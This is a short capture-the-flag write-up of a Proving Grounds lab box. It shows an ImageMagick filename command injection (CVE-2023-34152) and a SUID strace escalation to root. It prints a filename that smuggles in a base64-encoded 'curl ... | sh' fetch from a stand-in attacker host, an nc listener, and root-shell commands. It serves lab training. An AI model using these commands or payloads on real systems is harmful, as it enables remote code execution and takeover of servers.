# Image Writeup - Proving Grounds

> Intermediate Linux box exploiting CVE-2023-34152, an ImageMagick filename command injection, for a www-data shell, then escalating to root through a SUID strace binary.

- **URL:** https://hackindex.io/writeups/image
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** file-upload, command-injection, imagemagick, privilege-escalation, suid, gtfobins, cve-2023-34152
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Image runs a web application that processes uploaded images with ImageMagick. A crafted filename containing a shell command gets executed by the image-processing backend for a `www-data` shell, and a SUID copy of `strace` gives root.

## Reconnaissance

Nmap identifies a web service on the target.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT   STATE SERVICE
# 80/tcp open  http
```

The web app describes itself as a tool for inspecting image file formats and characteristics, built on **ImageMagick**, the open-source suite invoked from the command line as `magick` (or the legacy `convert`/`identify` binaries) for creating, converting and editing raster images.

## Enumeration

Uploading a file reveals the ImageMagick version in the response, which narrows down which CVEs apply. The version matches **CVE-2023-34152**, an ImageMagick issue where a crafted filename is passed unsanitized to a shell when the image is processed.

## Exploitation

### Filename command injection (CVE-2023-34152)

Create a placeholder image, then rename it so the filename itself contains a backtick-wrapped command.

```bash
echo -ne 'test' > en.png

PAYLOAD=$(echo "curl http://$ATTACKER_IP:$ATTACKER_PORT/x | sh" | base64 -w 0)
cp en.png "|en\"\`echo $PAYLOAD | base64 -d | bash\`\".png"
```

Host the second-stage payload and start a listener before uploading.

```bash
nc -lvnp $ATTACKER_PORT
```

Upload the renamed file through the web app. When ImageMagick processes it, the filename is evaluated by the shell and the embedded command runs, catching a shell as `www-data`.

## Privilege Escalation

### SUID strace (GTFOBins)

Enumeration turns up a SUID bit on `strace`.

```bash
ls -alh /usr/bin/strace
# -rwsr-sr-x 1 root root 1.6M Apr 16  2020 /usr/bin/strace
```

`strace` is listed on GTFOBins for SUID privilege escalation: it can launch another program that inherits its effective root privileges.

```bash
strace -o /dev/null /bin/sh -p
# # id
# uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
```

Effective root. Spawn an interactive shell to stabilize it.

```bash
bash -p -i
# bash-5.0# id
# uid=0(root) gid=0(root) euid=0(root)
```

Related

## References

- [CVE-2023-34152](https://nvd.nist.gov/vuln/detail/CVE-2023-34152) - ImageMagick filename handling leading to command execution.
- [GTFOBins: strace](https://gtfobins.github.io/gtfobins/strace/) - Abusing a SUID strace binary for privilege escalation.